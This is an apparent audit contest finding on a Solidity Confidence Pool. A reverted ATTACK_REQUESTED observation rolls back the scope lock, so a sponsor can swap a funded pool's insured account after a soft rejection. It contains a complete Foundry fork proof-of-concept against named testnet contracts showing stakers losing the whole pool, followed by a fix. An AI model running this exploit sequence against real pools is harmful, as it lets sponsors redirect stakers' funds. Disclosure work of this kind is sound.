FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Reverted ATTACK_REQUESTED observations let a sponsor replace a funded pool's insured scope after rejection

Author Revealed upon completion

Root + Impact

Description

A Confidence Pool is intended to let its sponsor replace the pool-local account scope only while the Agreement remains in NOT_DEPLOYED or NEW_DEPLOYMENT. The first pool interaction that observes any later registry state, including ATTACK_REQUESTED, must permanently lock that scope so existing stakers continue underwriting the account list they accepted.

The lock does not persist when ATTACK_REQUESTED is first observed through either public lock path. _observePoolState() sets scopeLocked = true, but setPoolScope() then reverts because the latch is true, while pokeRiskWindow() reverts because ATTACK_REQUESTED sets neither risk-window marker. EVM rollback restores scopeLocked to false in both cases.

The deployed AttackRegistry has a normal soft-rejection path that returns the Agreement from ATTACK_REQUESTED to NOT_DEPLOYED. A pool sponsor that retains the Agreement's ordinary attack-request role can pause stake and bonus inflows, request attack mode, let both observation paths roll back, receive a normal DAO soft rejection, and then replace a funded pool's account scope. The sponsor can re-request the same Agreement and expose the existing pool to a different account. In the fork PoC, corruption of that replacement account forfeits the entire 200-token pool even though the stakers originally accepted only the control account.

function setPoolScope(address[] calldata accounts) external onlyOwner {
// @> ATTACK_REQUESTED sets scopeLocked, but the next line reverts the whole transaction.
_observePoolState();
// @> The revert rolls scopeLocked back to false.
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
// @> ATTACK_REQUESTED locks scope but is not an active-risk or terminal state.
_observePoolState();
// @> Both markers remain zero, so this revert also rolls the new scope lock back.
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
// @> This intended one-way write is not durable when either caller above reverts.
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}

Risk

Likelihood:

  • A funded pool whose sponsor retains the Agreement attack-request role reaches ATTACK_REQUESTED, the DAO normally soft-rejects that request, and the sponsor replaces scope before requesting and receiving approval again. These are canonical deployed registry transitions rather than a mock registry rewind or a malicious registry repoint.

  • The sponsor controls both pause() and setPoolScope(), so pausing removes successful stake() and contributeBonus() calls that could otherwise persist the latch. Existing stakers retain a visible response window, but their only reliable path is full withdrawal, which abandons the pool and forfeits any bonus claim. These prerequisites and visibility support Medium likelihood rather than High.

Impact:

  • Existing stakers can lose the pool's entire principal and bonus to a good-faith whitehat or the configured recovery address because an account they never agreed to underwrite replaces the original pool-local commitment.

  • The fork differential moves a pool containing 150 tokens of principal and 50 tokens of bonus from a surviving account to a genuinely corrupted replacement account. The mutated pool pays all 200 tokens to the whitehat, while the unchanged control returns 133.333333333333333333 tokens to the sponsor and 66.666666666666666666 tokens to the honest staker.

Proof of Concept

Add this test as test/fork/CodexGpt5V6_20260712_LiveRejectedRequestScopeMutation.fork.t.sol in the supplied repository and run it against the documented BattleChain testnet RPC.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract CodexGpt5V6_20260712_LiveRejectedRequestScopeMutationForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant TEMPLATE_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant BATTLECHAIN_CAIP2 = "eip155:627";
address internal originalAccount = makeAddr("v6-original-safe-scope");
address internal replacementAccount = makeAddr("v6-replacement-breached-scope");
address internal honestStaker = makeAddr("v6-scope-mutation-honest-staker");
address internal bonusContributor = makeAddr("v6-scope-mutation-bonus-contributor");
address internal poolModerator = makeAddr("v6-scope-mutation-pool-moderator");
address internal whitehat = makeAddr("v6-scope-mutation-whitehat");
address internal recovery = makeAddr("v6-scope-mutation-recovery");
IAttackRegistry internal registry = IAttackRegistry(ATTACK_REGISTRY);
MockERC20 internal token;
ConfidencePool internal controlPool;
ConfidencePool internal mutatedPool;
address internal agreement;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
agreement = _createAgreementWithBothAccounts();
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(implementation), poolModerator)
)
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory initialScope = new address[](1);
initialScope[0] = originalAccount;
uint256 expiry = block.timestamp + 31 days;
vm.startPrank(SPONSOR);
controlPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
mutatedPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
vm.stopPrank();
_fundPool(controlPool);
_fundPool(mutatedPool);
}
function testRejectedRequestLetsSponsorReplaceReliedUponScopeBeforeRerequest() external {
// Pausing removes the one-unit stake/bonus workaround. An existing staker can still
// persist the lock only by fully withdrawing and abandoning the pool.
vm.prank(SPONSOR);
mutatedPool.pause();
vm.prank(SPONSOR);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(
uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED)
);
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
mutatedPool.pokeRiskWindow();
assertFalse(mutatedPool.scopeLocked(), "reverted poke rolled back the scope lock");
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.PoolPaused.selector);
mutatedPool.contributeBonus(1);
assertFalse(mutatedPool.scopeLocked(), "paused inflows cannot persist the post-staging lock");
address[] memory replacementScope = new address[](1);
replacementScope[0] = replacementAccount;
vm.prank(SPONSOR);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
mutatedPool.setPoolScope(replacementScope);
assertFalse(mutatedPool.scopeLocked(), "reverted setter also rolled back the scope lock");
assertTrue(mutatedPool.isAccountInScope(originalAccount));
// This is the deployed registry's normal soft-rejection path, not a mock state write.
vm.prank(REGISTRY_MODERATOR);
registry.rejectAttackRequest(agreement, false);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.NOT_DEPLOYED));
vm.prank(SPONSOR);
mutatedPool.setPoolScope(replacementScope);
assertFalse(mutatedPool.scopeLocked());
assertFalse(mutatedPool.isAccountInScope(originalAccount));
assertTrue(mutatedPool.isAccountInScope(replacementAccount));
assertTrue(controlPool.isAccountInScope(originalAccount));
assertFalse(controlPool.isAccountInScope(replacementAccount));
// The same Agreement can immediately re-enter the normal request/approval lifecycle.
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(REGISTRY_MODERATOR);
registry.approveAttack(agreement);
controlPool.pokeRiskWindow();
mutatedPool.pokeRiskWindow();
assertTrue(controlPool.scopeLocked());
assertTrue(mutatedPool.scopeLocked());
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.UNDER_ATTACK));
// The replacement account is genuinely breached. The pool moderator's normal scope
// judgement resolves the unchanged control as SURVIVED and the mutated pool as CORRUPTED.
vm.prank(REGISTRY_MODERATOR);
registry.instantCorrupt(agreement);
vm.startPrank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
mutatedPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.stopPrank();
vm.prank(whitehat);
mutatedPool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat), 200e18, "mutated-scope stakers lose the whole pool");
assertEq(token.balanceOf(address(mutatedPool)), 0);
vm.prank(SPONSOR);
controlPool.claimSurvived();
vm.prank(honestStaker);
controlPool.claimSurvived();
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333);
assertEq(token.balanceOf(honestStaker), 66_666666666666666666);
assertEq(token.balanceOf(address(controlPool)), 1);
emit log_named_uint("whitehat payout from mutated pool", token.balanceOf(whitehat));
emit log_named_uint("sponsor control-pool payout", token.balanceOf(SPONSOR));
emit log_named_uint("honest control-pool payout", token.balanceOf(honestStaker));
}
function _createAgreementWithBothAccounts() internal returns (address created) {
AgreementDetails memory details = IAgreement(TEMPLATE_AGREEMENT).getDetails();
details.protocolName = "V6 rejected request scope mutation";
details.agreementURI = "ipfs://v6-rejected-request-scope-mutation";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = BATTLECHAIN_CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](2);
details.chains[0].accounts[0] = AgreementAccount({
accountAddress: vm.toString(originalAccount), childContractScope: ChildContractScope.None
});
details.chains[0].accounts[1] = AgreementAccount({
accountAddress: vm.toString(replacementAccount), childContractScope: ChildContractScope.None
});
vm.prank(SPONSOR);
created = IAgreementFactory(AGREEMENT_FACTORY)
.create(details, SPONSOR, keccak256("codex-gpt5-v6-rejected-request-scope-mutation"));
}
function _fundPool(ConfidencePool target) internal {
_stakeInto(target, SPONSOR, 100e18);
_stakeInto(target, honestStaker, 50e18);
token.mint(bonusContributor, 50e18);
vm.startPrank(bonusContributor);
token.approve(address(target), 50e18);
target.contributeBonus(50e18);
vm.stopPrank();
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
}

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test \
--match-contract CodexGpt5V6_20260712_LiveRejectedRequestScopeMutationForkTest -vvv

Observed output:

Ran 1 test for CodexGpt5V6_20260712_LiveRejectedRequestScopeMutationForkTest
[PASS] testRejectedRequestLetsSponsorReplaceReliedUponScopeBeforeRerequest()
Logs:
whitehat payout from mutated pool: 200000000000000000000
sponsor control-pool payout: 133333333333333333333
honest control-pool payout: 66666666666666666666
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

The most robust fix is to freeze scope when the first stake creates staker reliance, just as the same call already freezes expiry. This removes any dependency on a later registry observation and prevents a rejected request from reopening the meaning of an already-funded pool.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
+ // A funded pool must not reinterpret the account list its stakers accepted.
+ if (!scopeLocked) {
+ scopeLocked = true;
+ emit ScopeLocked(block.timestamp);
+ }
}

When retaining the current post-staging policy is required, provide a dedicated non-reverting scope-observation path. At minimum, pokeRiskWindow() must return successfully when _observePoolState() newly locks scope in ATTACK_REQUESTED, even though no risk-window marker was set. Add a regression covering funded pool -> ATTACK_REQUESTED -> soft rejection -> attempted scope replacement -> re-request.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!